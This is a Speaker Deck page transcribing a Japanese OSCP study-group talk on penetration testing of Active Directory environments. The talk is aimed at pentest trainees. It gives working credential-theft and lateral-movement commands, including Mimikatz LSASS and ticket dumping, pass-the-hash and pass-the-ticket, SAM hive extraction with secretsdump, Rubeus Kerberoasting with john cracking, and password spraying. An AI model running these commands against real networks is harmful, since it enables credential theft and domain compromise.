Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
OSCPでのActive Directory攻略
Search
Fire / ふぁいあー
March 24, 2023
Technology
3
2.1k
OSCPでのActive Directory攻略
OSCP勉強会 #2での講演スライドです。
https://off-sec-lab.connpass.com/event/276425/
Fire / ふぁいあー
March 24, 2023
Tweet
Share
More Decks by Fire / ふぁいあー
See All by Fire / ふぁいあー
Azure Cloud ペンテスト入門(仮)
firefire2
0
720
サイバーセキュリティの話 Ver.20210904
firefire2
1
500
Other Decks in Technology
See All in Technology
AWSの新機能検証をやる時こそ、Amazon Qでプロンプトエンジニアリングを駆使しよう
duelist2020jp
1
170
Ops-JAWS_Organizations小ネタ3選.pdf
chunkof
2
170
日経電子版 for Android の技術的課題と取り組み(令和最新版)/android-20250423
nikkei_engineer_recruiting
0
290
SREからゼロイチプロダクト開発へ ー越境する打席の立ち方と期待への応え方ー / Product Engineering Night #8
itkq
2
710
DuckDB MCPサーバーを使ってAWSコストを分析させてみた / AWS cost analysis with DuckDB MCP server
masahirokawahara
0
1.3k
クラウド開発環境Cloud Workstationsの紹介
yunosukey
0
160
ElixirがHW化され、最新CPU/GPU/NWを過去のものとする数万倍、高速+超省電力化されたWeb/動画配信/AIが動く日
piacerex
0
140
アセスメントで紐解く、10Xのデータマネジメントの軌跡
10xinc
1
430
AWSのマルチアカウント管理 ベストプラクティス最新版 2025 / Multi-Account management on AWS best practice 2025
ohmura
4
290
React ABC Questions
hirotomoyamada
0
130
彩の国で始めよう。おっさんエンジニアから共有したい、当たり前のことを当たり前にする技術
otsuki
0
150
Running JavaScript within Ruby
hmsk
3
330
Featured
See All Featured
How STYLIGHT went responsive
nonsquared
99
5.5k
The Invisible Side of Design
smashingmag
299
50k
4 Signs Your Business is Dying
shpigford
183
22k
Intergalactic Javascript Robots from Outer Space
tanoku
270
27k
Building Flexible Design Systems
yeseniaperezcruz
329
38k
How to Ace a Technical Interview
jacobian
276
23k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
104
19k
Practical Tips for Bootstrapping Information Extraction Pipelines
honnibal
PRO
19
1.1k
How to Think Like a Performance Engineer
csswizardry
23
1.5k
Gamification - CAS2011
davidbonilla
81
5.2k
Put a Button on it: Removing Barriers to Going Fast.
kastner
60
3.8k
Building Applications with DynamoDB
mza
94
6.3k
Transcript
OSCPでのActive Directory攻略 ふぁいあー(@fire_fire_2) OSCP勉強会 #2 - 2023/03/24
About me • Fire / ふぁいあー(@fire_fire_2) • 自己紹介 • OSCP
(2022.1取得) / CRTP / GCPN / AWS SCS / RISS • 現役ペンテスター • PEN-300受講中 • お仕事 • セキュリティ界隈 およそ4年 • フォレンジック 1.5年 • ペネトレーションテスト2.5年 2
情報システムに対するペネトレ • 公開サーバへのペネトレ(Webサーバなど) • 空いているポートで使用しているサービスの脆弱性を悪用して侵入 • Webアプリの脆弱性、弱い認証情報、など • 企業のOAネットワークへのペネトレ(Active Directory環境など)
• メールやWebページの閲覧によりクライアント端末がマルウェアに感染したことに よる侵入(前提) • いわゆるAPT攻撃(持続的標的型攻撃)を想定した侵入テスト • ターゲット • 特権アカウント、ドメインコントローラ、 機密情報(顧客情報や技術情報など) 3
OSCPでのActive Directoryカリキュラム • 2022年の改定 • 試験でBoFのExploitコード作りがなくなり、AD問題が新しく出題 • 2023年の改定 • 1モジュールから3モジュールに拡張
4 https://www.offsec.com/offsec/pen-200-2023/
Active Directoryとは(イメージ) 5 ドメイン Active Directoryサーバ (ドメインコントローラ) 端末をドメインに参加 機能 一元管理可能
• コンピュータ端末の設定 • ユーザアカウント • 権限 ユーザアカウント • Domain Admins(特権) • Domain Users よく使うのはこの2つ。
Active Directoryとは(イメージ) 6 ドメイン Active Directoryサーバ (ドメインコントローラ) 端末をドメインに参加 機能 一元管理可能
• コンピュータ端末の設定 • ユーザアカウント • 権限 ユーザアカウント • Domain Admins(特権) • Domain Users よく使うのはこの2つ。
Active Directory触ったことがなかった人✋ • VMとかにWindowsServerをインストールしてまずはさわってみましょう • Windowsの評価版は無料で入手できます • https://www.microsoft.com/ja-jp/evalcenter/evaluate-windows-10- enterprise •
https://www.microsoft.com/ja-jp/evalcenter/evaluate-windows-server- 2022 [参考] ペネトレーションテストの検証・勉強用環境の紹介 https://devblog.lac.co.jp/entry/20230123 7
AD環境ペネトレのながれ 8 ドメインA C2サーバ (遠隔操作用サーバ)
AD環境ペネトレのながれ 9 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる
AD環境ペネトレのながれ 10 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する
AD環境ペネトレのながれ 11 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する
AD環境ペネトレのながれ 12 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain
Admins)を 窃取して、ドメインコントローラに侵入する
AD環境ペネトレのながれ 13 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
AD環境ペネトレのながれ 14 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
ドメインB ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する ⑥ネットワーク(ドメイン)を横断して、 他のドメインに所属するコンピュータを探索する
OSCPでのAD問題の対象 15 ドメインA C2サーバ (遠隔操作用サーバ) ①C2サーバと通信を確立させる ②侵入したコンピュータ自体の 管理者権限を窃取する ③他のコンピュータに侵入する ⑤ファイルサーバなどから機密情報を窃取する
ドメインB ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する ⑥ネットワーク(ドメイン)を横断して、 他のドメインに所属するコンピュータを探索する
今日のメインの話 16 ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
今日のメインの話 17 Tactics • Credential Access • Lateral Movement https://attack.mitre.org/
③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
今日のメインの話 18 Tactics • Credential Access • Lateral Movement https://attack.mitre.org/
③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する 認証情報を窃取することで、他の端末に侵入する。 侵入先でも認証情報を窃取し、また他の端末に侵入する。 これを繰り返してドメイン管理者権限を目指す!
OSCPで見るべき認証情報窃取 19 窃取方法 • LSASS Dump • SAM Dump •
Kerberos Ticket Dump • 資格情報マネージャ • Kerberoast • 弱くて脆弱なパスワード • パスワードがファイルにそのまま記載 ③他のコンピュータに侵入する ④ドメイン管理者権限(Domain Admins)を 窃取して、ドメインコントローラに侵入する
LSASS Dump • 認証を司るサービス(LSASS)の実行メモリをダンプし解析することで、 コンピュータで使用中のローカルアカウントを含めたドメインアカウント のNTLMハッシュを窃取可能。NTLMハッシュはそのまま認証に使える (Pass The Hash)。ドメイン管理者アカウントが窃取できる可能性。 Mimikatz(管理者権限)で実行
# privilege::debug # sekurlsa::logonpasswords MimikatzでPass The Hash # sekurlsa::pth /user:targetuser /domain:targetdomain.local /ntlm:targethash /run:cmd.exe 20
SAM Dump • ローカルアカウントの情報を保持しているレジストリ(SAM)を復号す ることで、コンピュータのローカルアカウントのNTLMハッシュを窃取可 能。 NTLMハッシュはそのまま認証に使える(Pass The Hash)。他の コンピュータに設定されているアカウントのパスワードがダンプしたコン
ピュータのものと同様の場合、Pass The Hashで侵入できる可能性。 SAM、SYSTEM、SECURITYハイブを抽出 > reg save hklm¥sam sam.hive(system, securityも同様にダンプ) Impacketのsecretsdumpで復号 > secretsdump –sam sam.hive –system system.hive –security security.hive LOCAL Mimikatz(管理者権限)でPass The Hash # privilege::debug # sekurlsa::pth /user:targetuser /domain:. /ntlm:targethash /run:cmd.exe 21
Kerberos Ticket Dump • ドメインユーザを使用するとADから取得したKerberosチケットがコン ピュータ内にキャッシュされているため、 Mimikatzなどでこれら認証用 のチケットを窃取可能。チケットが失効していなければそのまま使用して 認証に使える(Pass The
Ticket)。他のアカウントのチケットを使って 他のコンピュータに侵入できる可能性。 Mimikatz(管理者権限)で実行 # privilege::bebug # sekurlsa::ticket /export MimikatzでPass The Ticket # kerberos::ptt .¥ticketpath.kirbi 22
資格情報マネージャ • タスクスケジューラーでタスク登録時に保存した認証情報など、資格情報 マネージャーに登録されている認証情報を平文で窃取可能。平文でパス ワードが窃取可能なため、Runasコマンドなどでのログオン時に指定すれ ばそのままログオン可能。 Mimikatz(管理者権限)で実行 # token::elevate #
vault::cred /patch Runasコマンドなどでログオン > runas /user:
[email protected]
/netonly cmd.exe
[email protected]
のパスワードを入力してください:password 23
Kerberoast • SPNが設定されたドメインユーザアカウントは、パスワードハッシュ値 (krb5tgs形式)をKerberosチケットから取得でき、このユーザのパス ワードが脆弱だった場合、解析することで平文パスワードを窃取すること が可能(オフラインクラック)。 Runasコマンドなどでのログオン時に 指定すればそのままログオン可能。 Rubeusなどでパスワードハッシュ値を取得 >
Rubeus.exe kerberoast /nowrap 取得したハッシュ値のオフラインクラック $ john hash.txt –-wordlist=rockyou.txt –rules:jumbo Runasコマンドなどでログオン > 省略 24
弱くて脆弱なパスワード • 全ドメインユーザを対象に脆弱なパスワードが設定されているアカウント を探す。 • パスワードをアカウント名と同一文字列として認証を試行(joeアカウント) • 特定のパスワードで全ドメインユーザに対して認証を試行(パスワードスプレー) Joeアカウント >
Invoke-DomainPasswordSpray –UsernameAsPassword パスワードスプレー > Invoke-DomainPasswordSpray -Password P@ssw0rd Runasコマンドなどでログオン > 省略 25 https://github.com/dafthack/DomainPasswordSpray
パスワードがファイルにそのまま記載 • コンピュータ内に存在するbatやps1、vbsなどのスクリプトファイルに、 何かしらのユーザのパスワードがそのまま平文で記載されていることがよ くある。 スクリプトファイルは、スタートアップに登録されていたり、スケジュー ルタスクとして登録されていたりする場合が多い。 平文なので、Runasコマンドなどでのログオン時に指定すればそのままロ グオン可能。 26
まとめ OSCPレベルのWindows Active Directory問題であれば、見るポイントを 押さえればそれほど難しくないです。教科書の内容を勉強しておけば十分 攻略可能です。 教科書をしっかり読み、また試験での見逃しを防ぐためしっかりチート シートをまとめておきましょう。 Pentest-CheatSheets -
GitHub https://github.com/firefire2/Pentest-Cheatsheets 27
Thank you. Any Questions? ※この講演における発言及び資料の内容は、個人の見解を含んでいます。 それらは、所属する企業や団体を代表するものではありません。 28